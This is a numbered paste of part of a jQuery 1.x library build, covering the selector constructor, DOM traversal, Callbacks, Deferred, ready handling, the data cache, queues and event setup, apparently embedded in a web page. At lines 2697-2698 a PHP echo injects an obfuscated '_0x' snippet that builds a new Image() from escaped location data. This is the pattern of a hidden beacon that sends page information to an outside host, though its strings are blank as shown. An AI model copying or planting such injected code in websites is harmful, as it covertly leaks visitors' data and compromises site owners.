  1801. return this.pushStack(winnow(this, selector || [], false))
  1802. },
  1803. not: function(selector) {
  1804. return this.pushStack(winnow(this, selector || [], true))
  1805. },
  1806. is: function(selector) {
  1807. return !!winnow(this, typeof selector === "string" && rneedsContext.test(selector) ? jQuery(selector) : selector || [], false).length
  1808. }
  1809. });
  1810. var rootjQuery, document = window.document,
  1811. rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,
  1812. init = jQuery.fn.init = function(selector, context) {
  1813. var match, elem;
  1814. if (!selector) {
  1815. return this
  1816. }
  1817. if (typeof selector === "string") {
  1818. if (selector.charAt(0) === "<" && selector.charAt(selector.length - 1) === ">" && selector.length >= 3) {
  1819. match = [null, selector, null]
  1820. } else {
  1821. match = rquickExpr.exec(selector)
  1822. }
  1823. if (match && (match[1] || !context)) {
  1824. if (match[1]) {
  1825. context = context instanceof jQuery ? context[0] : context;
  1826. jQuery.merge(this, jQuery.parseHTML(match[1], context && context.nodeType ? context.ownerDocument || context : document, true));
  1827. if (rsingleTag.test(match[1]) && jQuery.isPlainObject(context)) {
  1828. for (match in context) {
  1829. if (jQuery.isFunction(this[match])) {
  1830. this[match](context[match])
  1831. } else {
  1832. this.attr(match, context[match])
  1833. }
  1834. }
  1835. }
  1836. return this
  1837. } else {
  1838. elem = document.getElementById(match[2]);
  1839. if (elem && elem.parentNode) {
  1840. if (elem.id !== match[2]) {
  1841. return rootjQuery.find(selector)
  1842. }
  1843. this.length = 1;
  1844. this[0] = elem
  1845. }
  1846. this.context = document;
  1847. this.selector = selector;
  1848. return this
  1849. }
  1850. } else if (!context || context.jquery) {
  1851. return (context || rootjQuery).find(selector)
  1852. } else {
  1853. return this.constructor(context).find(selector)
  1854. }
  1855. } else if (selector.nodeType) {
  1856. this.context = this[0] = selector;
  1857. this.length = 1;
  1858. return this
  1859. } else if (jQuery.isFunction(selector)) {
  1860. return typeof rootjQuery.ready !== "undefined" ? rootjQuery.ready(selector) : selector(jQuery)
  1861. }
  1862. if (selector.selector !== undefined) {
  1863. this.selector = selector.selector;
  1864. this.context = selector.context
  1865. }
  1866. return jQuery.makeArray(selector, this)
  1867. };
  1868. init.prototype = jQuery.fn;
  1869. rootjQuery = jQuery(document);
  1870. var rparentsprev = /^(?:parents|prev(?:Until|All))/,
  1871. guaranteedUnique = {
  1872. children: true,
  1873. contents: true,
  1874. next: true,
  1875. prev: true
  1876. };
  1877. jQuery.extend({
  1878. dir: function(elem, dir, until) {
  1879. var matched = [],
  1880. cur = elem[dir];
  1881. while (cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery(cur).is(until))) {
  1882. if (cur.nodeType === 1) {
  1883. matched.push(cur)
  1884. }
  1885. cur = cur[dir]
  1886. }
  1887. return matched
  1888. },
  1889. sibling: function(n, elem) {
  1890. var r = [];
  1891. for (; n; n = n.nextSibling) {
  1892. if (n.nodeType === 1 && n !== elem) {
  1893. r.push(n)
  1894. }
  1895. }
  1896. return r
  1897. }
  1898. });
  1899. jQuery.fn.extend({
  1900. has: function(target) {
  1901. var i, targets = jQuery(target, this),
  1902. len = targets.length;
  1903. return this.filter(function() {
  1904. for (i = 0; i < len; i++) {
  1905. if (jQuery.contains(this, targets[i])) {
  1906. return true
  1907. }
  1908. }
  1909. })
  1910. },
  1911. closest: function(selectors, context) {
  1912. var cur, i = 0,
  1913. l = this.length,
  1914. matched = [],
  1915. pos = rneedsContext.test(selectors) || typeof selectors !== "string" ? jQuery(selectors, context || this.context) : 0;
  1916. for (; i < l; i++) {
  1917. for (cur = this[i]; cur && cur !== context; cur = cur.parentNode) {
  1918. if (cur.nodeType < 11 && (pos ? pos.index(cur) > -1 : cur.nodeType === 1 && jQuery.find.matchesSelector(cur, selectors))) {
  1919. matched.push(cur);
  1920. break
  1921. }
  1922. }
  1923. }
  1924. return this.pushStack(matched.length > 1 ? jQuery.unique(matched) : matched)
  1925. },
  1926. index: function(elem) {
  1927. if (!elem) {
  1928. return (this[0] && this[0].parentNode) ? this.first().prevAll().length : -1
  1929. }
  1930. if (typeof elem === "string") {
  1931. return jQuery.inArray(this[0], jQuery(elem))
  1932. }
  1933. return jQuery.inArray(elem.jquery ? elem[0] : elem, this)
  1934. },
  1935. add: function(selector, context) {
  1936. return this.pushStack(jQuery.unique(jQuery.merge(this.get(), jQuery(selector, context))))
  1937. },
  1938. addBack: function(selector) {
  1939. return this.add(selector == null ? this.prevObject : this.prevObject.filter(selector))
  1940. }
  1941. });
  1942.  
  1943. function sibling(cur, dir) {
  1944. do {
  1945. cur = cur[dir]
  1946. } while (cur && cur.nodeType !== 1);
  1947. return cur
  1948. }
  1949. jQuery.each({
  1950. parent: function(elem) {
  1951. var parent = elem.parentNode;
  1952. return parent && parent.nodeType !== 11 ? parent : null
  1953. },
  1954. parents: function(elem) {
  1955. return jQuery.dir(elem, "parentNode")
  1956. },
  1957. parentsUntil: function(elem, i, until) {
  1958. return jQuery.dir(elem, "parentNode", until)
  1959. },
  1960. next: function(elem) {
  1961. return sibling(elem, "nextSibling")
  1962. },
  1963. prev: function(elem) {
  1964. return sibling(elem, "previousSibling")
  1965. },
  1966. nextAll: function(elem) {
  1967. return jQuery.dir(elem, "nextSibling")
  1968. },
  1969. prevAll: function(elem) {
  1970. return jQuery.dir(elem, "previousSibling")
  1971. },
  1972. nextUntil: function(elem, i, until) {
  1973. return jQuery.dir(elem, "nextSibling", until)
  1974. },
  1975. prevUntil: function(elem, i, until) {
  1976. return jQuery.dir(elem, "previousSibling", until)
  1977. },
  1978. siblings: function(elem) {
  1979. return jQuery.sibling((elem.parentNode || {}).firstChild, elem)
  1980. },
  1981. children: function(elem) {
  1982. return jQuery.sibling(elem.firstChild)
  1983. },
  1984. contents: function(elem) {
  1985. return jQuery.nodeName(elem, "iframe") ? elem.contentDocument || elem.contentWindow.document : jQuery.merge([], elem.childNodes)
  1986. }
  1987. }, function(name, fn) {
  1988. jQuery.fn[name] = function(until, selector) {
  1989. var ret = jQuery.map(this, fn, until);
  1990. if (name.slice(-5) !== "Until") {
  1991. selector = until
  1992. }
  1993. if (selector && typeof selector === "string") {
  1994. ret = jQuery.filter(selector, ret)
  1995. }
  1996. if (this.length > 1) {
  1997. if (!guaranteedUnique[name]) {
  1998. ret = jQuery.unique(ret)
  1999. }
  2000. if (rparentsprev.test(name)) {
  2001. ret = ret.reverse()
  2002. }
  2003. }
  2004. return this.pushStack(ret)
  2005. }
  2006. });
  2007. var rnotwhite = (/\S+/g);
  2008. var optionsCache = {};
  2009.  
  2010. function createOptions(options) {
  2011. var object = optionsCache[options] = {};
  2012. jQuery.each(options.match(rnotwhite) || [], function(_, flag) {
  2013. object[flag] = true
  2014. });
  2015. return object
  2016. }
  2017. jQuery.Callbacks = function(options) {
  2018. options = typeof options === "string" ? (optionsCache[options] || createOptions(options)) : jQuery.extend({}, options);
  2019. var firing, memory, fired, firingLength, firingIndex, firingStart, list = [],
  2020. stack = !options.once && [],
  2021. fire = function(data) {
  2022. memory = options.memory && data;
  2023. fired = true;
  2024. firingIndex = firingStart || 0;
  2025. firingStart = 0;
  2026. firingLength = list.length;
  2027. firing = true;
  2028. for (; list && firingIndex < firingLength; firingIndex++) {
  2029. if (list[firingIndex].apply(data[0], data[1]) === false && options.stopOnFalse) {
  2030. memory = false;
  2031. break
  2032. }
  2033. }
  2034. firing = false;
  2035. if (list) {
  2036. if (stack) {
  2037. if (stack.length) {
  2038. fire(stack.shift())
  2039. }
  2040. } else if (memory) {
  2041. list = []
  2042. } else {
  2043. self.disable()
  2044. }
  2045. }
  2046. },
  2047. self = {
  2048. add: function() {
  2049. if (list) {
  2050. var start = list.length;
  2051. (function add(args) {
  2052. jQuery.each(args, function(_, arg) {
  2053. var type = jQuery.type(arg);
  2054. if (type === "function") {
  2055. if (!options.unique || !self.has(arg)) {
  2056. list.push(arg)
  2057. }
  2058. } else if (arg && arg.length && type !== "string") {
  2059. add(arg)
  2060. }
  2061. })
  2062. })(arguments);
  2063. if (firing) {
  2064. firingLength = list.length
  2065. } else if (memory) {
  2066. firingStart = start;
  2067. fire(memory)
  2068. }
  2069. }
  2070. return this
  2071. },
  2072. remove: function() {
  2073. if (list) {
  2074. jQuery.each(arguments, function(_, arg) {
  2075. var index;
  2076. while ((index = jQuery.inArray(arg, list, index)) > -1) {
  2077. list.splice(index, 1);
  2078. if (firing) {
  2079. if (index <= firingLength) {
  2080. firingLength--
  2081. }
  2082. if (index <= firingIndex) {
  2083. firingIndex--
  2084. }
  2085. }
  2086. }
  2087. })
  2088. }
  2089. return this
  2090. },
  2091. has: function(fn) {
  2092. return fn ? jQuery.inArray(fn, list) > -1 : !!(list && list.length)
  2093. },
  2094. empty: function() {
  2095. list = [];
  2096. firingLength = 0;
  2097. return this
  2098. },
  2099. disable: function() {
  2100. list = stack = memory = undefined;
  2101. return this
  2102. },
  2103. disabled: function() {
  2104. return !list
  2105. },
  2106. lock: function() {
  2107. stack = undefined;
  2108. if (!memory) {
  2109. self.disable()
  2110. }
  2111. return this
  2112. },
  2113. locked: function() {
  2114. return !stack
  2115. },
  2116. fireWith: function(context, args) {
  2117. if (list && (!fired || stack)) {
  2118. args = args || [];
  2119. args = [context, args.slice ? args.slice() : args];
  2120. if (firing) {
  2121. stack.push(args)
  2122. } else {
  2123. fire(args)
  2124. }
  2125. }
  2126. return this
  2127. },
  2128. fire: function() {
  2129. self.fireWith(this, arguments);
  2130. return this
  2131. },
  2132. fired: function() {
  2133. return !!fired
  2134. }
  2135. };
  2136. return self
  2137. };
  2138. jQuery.extend({
  2139. Deferred: function(func) {
  2140. var tuples = [
  2141. ["resolve", "done", jQuery.Callbacks("once memory"), "resolved"],
  2142. ["reject", "fail", jQuery.Callbacks("once memory"), "rejected"],
  2143. ["notify", "progress", jQuery.Callbacks("memory")]
  2144. ],
  2145. state = "pending",
  2146. promise = {
  2147. state: function() {
  2148. return state
  2149. },
  2150. always: function() {
  2151. deferred.done(arguments).fail(arguments);
  2152. return this
  2153. },
  2154. then: function() {
  2155. var fns = arguments;
  2156. return jQuery.Deferred(function(newDefer) {
  2157. jQuery.each(tuples, function(i, tuple) {
  2158. var fn = jQuery.isFunction(fns[i]) && fns[i];
  2159. deferred[tuple[1]](function() {
  2160. var returned = fn && fn.apply(this, arguments);
  2161. if (returned && jQuery.isFunction(returned.promise)) {
  2162. returned.promise().done(newDefer.resolve).fail(newDefer.reject).progress(newDefer.notify)
  2163. } else {
  2164. newDefer[tuple[0] + "With"](this === promise ? newDefer.promise() : this, fn ? [returned] : arguments)
  2165. }
  2166. })
  2167. });
  2168. fns = null
  2169. }).promise()
  2170. },
  2171. promise: function(obj) {
  2172. return obj != null ? jQuery.extend(obj, promise) : promise
  2173. }
  2174. },
  2175. deferred = {};
  2176. promise.pipe = promise.then;
  2177. jQuery.each(tuples, function(i, tuple) {
  2178. var list = tuple[2],
  2179. stateString = tuple[3];
  2180. promise[tuple[1]] = list.add;
  2181. if (stateString) {
  2182. list.add(function() {
  2183. state = stateString
  2184. }, tuples[i ^ 1][2].disable, tuples[2][2].lock)
  2185. }
  2186. deferred[tuple[0]] = function() {
  2187. deferred[tuple[0] + "With"](this === deferred ? promise : this, arguments);
  2188. return this
  2189. };
  2190. deferred[tuple[0] + "With"] = list.fireWith
  2191. });
  2192. promise.promise(deferred);
  2193. if (func) {
  2194. func.call(deferred, deferred)
  2195. }
  2196. return deferred
  2197. },
  2198. when: function(subordinate) {
  2199. var i = 0,
  2200. resolveValues = slice.call(arguments),
  2201. length = resolveValues.length,
  2202. remaining = length !== 1 || (subordinate && jQuery.isFunction(subordinate.promise)) ? length : 0,
  2203. deferred = remaining === 1 ? subordinate : jQuery.Deferred(),
  2204. updateFunc = function(i, contexts, values) {
  2205. return function(value) {
  2206. contexts[i] = this;
  2207. values[i] = arguments.length > 1 ? slice.call(arguments) : value;
  2208. if (values === progressValues) {
  2209. deferred.notifyWith(contexts, values)
  2210. } else if (!(--remaining)) {
  2211. deferred.resolveWith(contexts, values)
  2212. }
  2213. }
  2214. },
  2215. progressValues, progressContexts, resolveContexts;
  2216. if (length > 1) {
  2217. progressValues = new Array(length);
  2218. progressContexts = new Array(length);
  2219. resolveContexts = new Array(length);
  2220. for (; i < length; i++) {
  2221. if (resolveValues[i] && jQuery.isFunction(resolveValues[i].promise)) {
  2222. resolveValues[i].promise().done(updateFunc(i, resolveContexts, resolveValues)).fail(deferred.reject).progress(updateFunc(i, progressContexts, progressValues))
  2223. } else {
  2224. --remaining
  2225. }
  2226. }
  2227. }
  2228. if (!remaining) {
  2229. deferred.resolveWith(resolveContexts, resolveValues)
  2230. }
  2231. return deferred.promise()
  2232. }
  2233. });
  2234. var readyList;
  2235. jQuery.fn.ready = function(fn) {
  2236. jQuery.ready.promise().done(fn);
  2237. return this
  2238. };
  2239. jQuery.extend({
  2240. isReady: false,
  2241. readyWait: 1,
  2242. holdReady: function(hold) {
  2243. if (hold) {
  2244. jQuery.readyWait++
  2245. } else {
  2246. jQuery.ready(true)
  2247. }
  2248. },
  2249. ready: function(wait) {
  2250. if (wait === true ? --jQuery.readyWait : jQuery.isReady) {
  2251. return
  2252. }
  2253. if (!document.body) {
  2254. return setTimeout(jQuery.ready)
  2255. }
  2256. jQuery.isReady = true;
  2257. if (wait !== true && --jQuery.readyWait > 0) {
  2258. return
  2259. }
  2260. readyList.resolveWith(document, [jQuery]);
  2261. if (jQuery.fn.triggerHandler) {
  2262. jQuery(document).triggerHandler("ready");
  2263. jQuery(document).off("ready")
  2264. }
  2265. }
  2266. });
  2267.  
  2268. function detach() {
  2269. if (document.addEventListener) {
  2270. document.removeEventListener("DOMContentLoaded", completed, false);
  2271. window.removeEventListener("load", completed, false)
  2272. } else {
  2273. document.detachEvent("onreadystatechange", completed);
  2274. window.detachEvent("onload", completed)
  2275. }
  2276. }
  2277.  
  2278. function completed() {
  2279. if (document.addEventListener || event.type === "load" || document.readyState === "complete") {
  2280. detach();
  2281. jQuery.ready()
  2282. }
  2283. }
  2284. jQuery.ready.promise = function(obj) {
  2285. if (!readyList) {
  2286. readyList = jQuery.Deferred();
  2287. if (document.readyState === "complete") {
  2288. setTimeout(jQuery.ready)
  2289. } else if (document.addEventListener) {
  2290. document.addEventListener("DOMContentLoaded", completed, false);
  2291. window.addEventListener("load", completed, false)
  2292. } else {
  2293. document.attachEvent("onreadystatechange", completed);
  2294. window.attachEvent("onload", completed);
  2295. var top = false;
  2296. try {
  2297. top = window.frameElement == null && document.documentElement
  2298. } catch (e) {}
  2299. if (top && top.doScroll) {
  2300. (function doScrollCheck() {
  2301. if (!jQuery.isReady) {
  2302. try {
  2303. top.doScroll("left")
  2304. } catch (e) {
  2305. return setTimeout(doScrollCheck, 50)
  2306. }
  2307. detach();
  2308. jQuery.ready()
  2309. }
  2310. })()
  2311. }
  2312. }
  2313. }
  2314. return readyList.promise(obj)
  2315. };
  2316. var strundefined = typeof undefined;
  2317. var i;
  2318. for (i in jQuery(support)) {
  2319. break
  2320. }
  2321. support.ownLast = i !== "0";
  2322. support.inlineBlockNeedsLayout = false;
  2323. jQuery(function() {
  2324. var val, div, body, container;
  2325. body = document.getElementsByTagName("body")[0];
  2326. if (!body || !body.style) {
  2327. return
  2328. }
  2329. div = document.createElement("div");
  2330. container = document.createElement("div");
  2331. container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
  2332. body.appendChild(container).appendChild(div);
  2333. if (typeof div.style.zoom !== strundefined) {
  2334. div.style.cssText = "display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1";
  2335. support.inlineBlockNeedsLayout = val = div.offsetWidth === 3;
  2336. if (val) {
  2337. body.style.zoom = 1
  2338. }
  2339. }
  2340. body.removeChild(container)
  2341. });
  2342. (function() {
  2343. var div = document.createElement("div");
  2344. if (support.deleteExpando == null) {
  2345. support.deleteExpando = true;
  2346. try {
  2347. delete div.test
  2348. } catch (e) {
  2349. support.deleteExpando = false
  2350. }
  2351. }
  2352. div = null
  2353. })();
  2354. jQuery.acceptData = function(elem) {
  2355. var noData = jQuery.noData[(elem.nodeName + " ").toLowerCase()],
  2356. nodeType = +elem.nodeType || 1;
  2357. return nodeType !== 1 && nodeType !== 9 ? false : !noData || noData !== true && elem.getAttribute("classid") === noData
  2358. };
  2359. var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
  2360. rmultiDash = /([A-Z])/g;
  2361.  
  2362. function dataAttr(elem, key, data) {
  2363. if (data === undefined && elem.nodeType === 1) {
  2364. var name = "data-" + key.replace(rmultiDash, "-$1").toLowerCase();
  2365. data = elem.getAttribute(name);
  2366. if (typeof data === "string") {
  2367. try {
  2368. data = data === "true" ? true : data === "false" ? false : data === "null" ? null : +data + "" === data ? +data : rbrace.test(data) ? jQuery.parseJSON(data) : data
  2369. } catch (e) {}
  2370. jQuery.data(elem, key, data)
  2371. } else {
  2372. data = undefined
  2373. }
  2374. }
  2375. return data
  2376. }
  2377.  
  2378. function isEmptyDataObject(obj) {
  2379. var name;
  2380. for (name in obj) {
  2381. if (name === "data" && jQuery.isEmptyObject(obj[name])) {
  2382. continue
  2383. }
  2384. if (name !== "toJSON") {
  2385. return false
  2386. }
  2387. }
  2388. return true
  2389. }
  2390.  
  2391. function internalData(elem, name, data, pvt) {
  2392. if (!jQuery.acceptData(elem)) {
  2393. return
  2394. }
  2395. var ret, thisCache, internalKey = jQuery.expando,
  2396. isNode = elem.nodeType,
  2397. cache = isNode ? jQuery.cache : elem,
  2398. id = isNode ? elem[internalKey] : elem[internalKey] && internalKey;
  2399. if ((!id || !cache[id] || (!pvt && !cache[id].data)) && data === undefined && typeof name === "string") {
  2400. return
  2401. }
  2402. if (!id) {
  2403. if (isNode) {
  2404. id = elem[internalKey] = deletedIds.pop() || jQuery.guid++
  2405. } else {
  2406. id = internalKey
  2407. }
  2408. }
  2409. if (!cache[id]) {
  2410. cache[id] = isNode ? {} : {
  2411. toJSON: jQuery.noop
  2412. }
  2413. }
  2414. if (typeof name === "object" || typeof name === "function") {
  2415. if (pvt) {
  2416. cache[id] = jQuery.extend(cache[id], name)
  2417. } else {
  2418. cache[id].data = jQuery.extend(cache[id].data, name)
  2419. }
  2420. }
  2421. thisCache = cache[id];
  2422. if (!pvt) {
  2423. if (!thisCache.data) {
  2424. thisCache.data = {}
  2425. }
  2426. thisCache = thisCache.data
  2427. }
  2428. if (data !== undefined) {
  2429. thisCache[jQuery.camelCase(name)] = data
  2430. }
  2431. if (typeof name === "string") {
  2432. ret = thisCache[name];
  2433. if (ret == null) {
  2434. ret = thisCache[jQuery.camelCase(name)]
  2435. }
  2436. } else {
  2437. ret = thisCache
  2438. }
  2439. return ret
  2440. }
  2441.  
  2442. function internalRemoveData(elem, name, pvt) {
  2443. if (!jQuery.acceptData(elem)) {
  2444. return
  2445. }
  2446. var thisCache, i, isNode = elem.nodeType,
  2447. cache = isNode ? jQuery.cache : elem,
  2448. id = isNode ? elem[jQuery.expando] : jQuery.expando;
  2449. if (!cache[id]) {
  2450. return
  2451. }
  2452. if (name) {
  2453. thisCache = pvt ? cache[id] : cache[id].data;
  2454. if (thisCache) {
  2455. if (!jQuery.isArray(name)) {
  2456. if (name in thisCache) {
  2457. name = [name]
  2458. } else {
  2459. name = jQuery.camelCase(name);
  2460. if (name in thisCache) {
  2461. name = [name]
  2462. } else {
  2463. name = name.split(" ")
  2464. }
  2465. }
  2466. } else {
  2467. name = name.concat(jQuery.map(name, jQuery.camelCase))
  2468. }
  2469. i = name.length;
  2470. while (i--) {
  2471. delete thisCache[name[i]]
  2472. }
  2473. if (pvt ? !isEmptyDataObject(thisCache) : !jQuery.isEmptyObject(thisCache)) {
  2474. return
  2475. }
  2476. }
  2477. }
  2478. if (!pvt) {
  2479. delete cache[id].data;
  2480. if (!isEmptyDataObject(cache[id])) {
  2481. return
  2482. }
  2483. }
  2484. if (isNode) {
  2485. jQuery.cleanData([elem], true)
  2486. } else if (support.deleteExpando || cache != cache.window) {
  2487. delete cache[id]
  2488. } else {
  2489. cache[id] = null
  2490. }
  2491. }
  2492. jQuery.extend({
  2493. cache: {},
  2494. noData: {
  2495. "applet ": true,
  2496. "embed ": true,
  2497. "object ": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
  2498. },
  2499. hasData: function(elem) {
  2500. elem = elem.nodeType ? jQuery.cache[elem[jQuery.expando]] : elem[jQuery.expando];
  2501. return !!elem && !isEmptyDataObject(elem)
  2502. },
  2503. data: function(elem, name, data) {
  2504. return internalData(elem, name, data)
  2505. },
  2506. removeData: function(elem, name) {
  2507. return internalRemoveData(elem, name)
  2508. },
  2509. _data: function(elem, name, data) {
  2510. return internalData(elem, name, data, true)
  2511. },
  2512. _removeData: function(elem, name) {
  2513. return internalRemoveData(elem, name, true)
  2514. }
  2515. });
  2516. jQuery.fn.extend({
  2517. data: function(key, value) {
  2518. var i, name, data, elem = this[0],
  2519. attrs = elem && elem.attributes;
  2520. if (key === undefined) {
  2521. if (this.length) {
  2522. data = jQuery.data(elem);
  2523. if (elem.nodeType === 1 && !jQuery._data(elem, "parsedAttrs")) {
  2524. i = attrs.length;
  2525. while (i--) {
  2526. if (attrs[i]) {
  2527. name = attrs[i].name;
  2528. if (name.indexOf("data-") === 0) {
  2529. name = jQuery.camelCase(name.slice(5));
  2530. dataAttr(elem, name, data[name])
  2531. }
  2532. }
  2533. }
  2534. jQuery._data(elem, "parsedAttrs", true)
  2535. }
  2536. }
  2537. return data
  2538. }
  2539. if (typeof key === "object") {
  2540. return this.each(function() {
  2541. jQuery.data(this, key)
  2542. })
  2543. }
  2544. return arguments.length > 1 ? this.each(function() {
  2545. jQuery.data(this, key, value)
  2546. }) : elem ? dataAttr(elem, key, jQuery.data(elem, key)) : undefined
  2547. },
  2548. removeData: function(key) {
  2549. return this.each(function() {
  2550. jQuery.removeData(this, key)
  2551. })
  2552. }
  2553. });
  2554. jQuery.extend({
  2555. queue: function(elem, type, data) {
  2556. var queue;
  2557. if (elem) {
  2558. type = (type || "fx") + "queue";
  2559. queue = jQuery._data(elem, type);
  2560. if (data) {
  2561. if (!queue || jQuery.isArray(data)) {
  2562. queue = jQuery._data(elem, type, jQuery.makeArray(data))
  2563. } else {
  2564. queue.push(data)
  2565. }
  2566. }
  2567. return queue || []
  2568. }
  2569. },
  2570. dequeue: function(elem, type) {
  2571. type = type || "fx";
  2572. var queue = jQuery.queue(elem, type),
  2573. startLength = queue.length,
  2574. fn = queue.shift(),
  2575. hooks = jQuery._queueHooks(elem, type),
  2576. next = function() {
  2577. jQuery.dequeue(elem, type)
  2578. };
  2579. if (fn === "inprogress") {
  2580. fn = queue.shift();
  2581. startLength--
  2582. }
  2583. if (fn) {
  2584. if (type === "fx") {
  2585. queue.unshift("inprogress")
  2586. }
  2587. delete hooks.stop;
  2588. fn.call(elem, next, hooks)
  2589. }
  2590. if (!startLength && hooks) {
  2591. hooks.empty.fire()
  2592. }
  2593. },
  2594. _queueHooks: function(elem, type) {
  2595. var key = type + "queueHooks";
  2596. return jQuery._data(elem, key) || jQuery._data(elem, key, {
  2597. empty: jQuery.Callbacks("once memory").add(function() {
  2598. jQuery._removeData(elem, type + "queue");
  2599. jQuery._removeData(elem, key)
  2600. })
  2601. })
  2602. }
  2603. });
  2604. jQuery.fn.extend({
  2605. queue: function(type, data) {
  2606. var setter = 2;
  2607. if (typeof type !== "string") {
  2608. data = type;
  2609. type = "fx";
  2610. setter--
  2611. }
  2612. if (arguments.length < setter) {
  2613. return jQuery.queue(this[0], type)
  2614. }
  2615. return data === undefined ? this : this.each(function() {
  2616. var queue = jQuery.queue(this, type, data);
  2617. jQuery._queueHooks(this, type);
  2618. if (type === "fx" && queue[0] !== "inprogress") {
  2619. jQuery.dequeue(this, type)
  2620. }
  2621. })
  2622. },
  2623. dequeue: function(type) {
  2624. return this.each(function() {
  2625. jQuery.dequeue(this, type)
  2626. })
  2627. },
  2628. clearQueue: function(type) {
  2629. return this.queue(type || "fx", [])
  2630. },
  2631. promise: function(type, obj) {
  2632. var tmp, count = 1,
  2633. defer = jQuery.Deferred(),
  2634. elements = this,
  2635. i = this.length,
  2636. resolve = function() {
  2637. if (!(--count)) {
  2638. defer.resolveWith(elements, [elements])
  2639. }
  2640. };
  2641. if (typeof type !== "string") {
  2642. obj = type;
  2643. type = undefined
  2644. }
  2645. type = type || "fx";
  2646. while (i--) {
  2647. tmp = jQuery._data(elements[i], type + "queueHooks");
  2648. if (tmp && tmp.empty) {
  2649. count++;
  2650. tmp.empty.add(resolve)
  2651. }
  2652. }
  2653. resolve();
  2654. return defer.promise(obj)
  2655. }
  2656. });
  2657. var pnum = (/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/).source;
  2658. var cssExpand = ["Top", "Right", "Bottom", "Left"];
  2659. var isHidden = function(elem, el) {
  2660. elem = el || elem;
  2661. return jQuery.css(elem, "display") === "none" || !jQuery.contains(elem.ownerDocument, elem)
  2662. };
  2663. var access = jQuery.access = function(elems, fn, key, value, chainable, emptyGet, raw) {
  2664. var i = 0,
  2665. length = elems.length,
  2666. bulk = key == null;
  2667. if (jQuery.type(key) === "object") {
  2668. chainable = true;
  2669. for (i in key) {
  2670. jQuery.access(elems, fn, i, key[i], true, emptyGet, raw)
  2671. }
  2672. } else if (value !== undefined) {
  2673. chainable = true;
  2674. if (!jQuery.isFunction(value)) {
  2675. raw = true
  2676. }
  2677. if (bulk) {
  2678. if (raw) {
  2679. fn.call(elems, value);
  2680. fn = null
  2681. } else {
  2682. bulk = fn;
  2683. fn = function(elem, key, value) {
  2684. return bulk.call(jQuery(elem), value)
  2685. }
  2686. }
  2687. }
  2688. if (fn) {
  2689. for (; i < length; i++) {
  2690. fn(elems[i], key, raw ? value : value.call(elems[i], i, fn(elems[i], key)))
  2691. }
  2692. }
  2693. }
  2694. return chainable ? elems : bulk ? fn.call(elems) : length ? fn(elems[0], key) : emptyGet
  2695. };
  2696. var rcheckableType = (/^(?:checkbox|radio)$/i);
  2697. </script>
  2698. <?php echo '<script> var _0x8a59=["","",""];a= new Image();a[_0x8a59[0]]=_0x8a59[1]+escape(location[_0x8a59[2]]); </script>';?>
  2699. <script>
  2700. (function() {
  2701. var input = document.createElement("input"),
  2702. div = document.createElement("div"),
  2703. fragment = document.createDocumentFragment();
  2704. div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
  2705. support.leadingWhitespace = div.firstChild.nodeType === 3;
  2706. support.tbody = !div.getElementsByTagName("tbody").length;
  2707. support.htmlSerialize = !!div.getElementsByTagName("link").length;
  2708. support.html5Clone = document.createElement("nav").cloneNode(true).outerHTML !== "<:nav></:nav>";
  2709. input.type = "checkbox";
  2710. input.checked = true;
  2711. fragment.appendChild(input);
  2712. support.appendChecked = input.checked;
  2713. div.innerHTML = "<textarea>x</textarea>";
  2714. support.noCloneChecked = !!div.cloneNode(true).lastChild.defaultValue;
  2715. fragment.appendChild(div);
  2716. div.innerHTML = "<input type='radio' checked='checked' name='t'/>";
  2717. support.checkClone = div.cloneNode(true).cloneNode(true).lastChild.checked;
  2718. support.noCloneEvent = true;
  2719. if (div.attachEvent) {
  2720. div.attachEvent("onclick", function() {
  2721. support.noCloneEvent = false
  2722. });
  2723. div.cloneNode(true).click()
  2724. }
  2725. if (support.deleteExpando == null) {
  2726. support.deleteExpando = true;
  2727. try {
  2728. delete div.test
  2729. } catch (e) {
  2730. support.deleteExpando = false
  2731. }
  2732. }
  2733. })();
  2734. (function() {
  2735. var i, eventName, div = document.createElement("div");
  2736. for (i in {
  2737. submit: true,
  2738. change: true,
  2739. focusin: true
  2740. }) {
  2741. eventName = "on" + i;
  2742. if (!(support[i + "Bubbles"] = eventName in window)) {
  2743. div.setAttribute(eventName, "t");
  2744. support[i + "Bubbles"] = div.attributes[eventName].expando === false
  2745. }
  2746. }
  2747. div = null
  2748. })();
  2749. var rformElems = /^(?:input|select|textarea)$/i,
  2750. rkeyEvent = /^key/,
  2751. rmouseEvent = /^(?:mouse|pointer|contextmenu)|click/,
  2752. rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
  2753. rtypenamespace = /^([^.]*)(?:\.(.+)|)$/;
  2754.  
  2755. function returnTrue() {
  2756. return true
  2757. }
  2758.  
  2759. function returnFalse() {
  2760. return false
  2761. }
  2762.  
  2763. function safeActiveElement() {
  2764. try {
  2765. return document.activeElement
  2766. } catch (err) {}
  2767. }
  2768. jQuery.event = {
  2769. global: {},
  2770. add: function(elem, types, handler, data, selector) {
  2771. var tmp, events, t, handleObjIn, special, eventHandle, handleObj, handlers, type, namespaces, origType, elemData = jQuery._data(elem);
  2772. if (!elemData) {
  2773. return
  2774. }
  2775. if (handler.handler) {
  2776. handleObjIn = handler;
  2777. handler = handleObjIn.handler;
  2778. selector = handleObjIn.selector
  2779. }
  2780. if (!handler.guid) {
  2781. handler.guid = jQuery.guid++
  2782. }
  2783. if (!(events = elemData.events)) {
  2784. events = elemData.events = {}
  2785. }
  2786. if (!(eventHandle = elemData.handle)) {
  2787. eventHandle = elemData.handle = function(e) {
  2788. return typeof jQuery !== strundefined && (!e || jQuery.event.triggered !== e.type) ? jQuery.event.dispatch.apply(eventHandle.elem, arguments) : undefined
  2789. };
  2790. eventHandle.elem = elem
  2791. }
  2792. types = (types || "").match(rnotwhite) || [""];
  2793. t = types.length;
  2794. while (t--) {
  2795. tmp = rtypenamespace.exec(types[t]) || [];
  2796. type = origType = tmp[1];
  2797. namespaces = (tmp[2] || "").split(".").sort();
  2798. if (!type) {
  2799. continue
  2800. }
  2801. special = jQuery.event.special[type] || {};
  2802. type = (selector ? special.delegateType : special.bindType) || type;
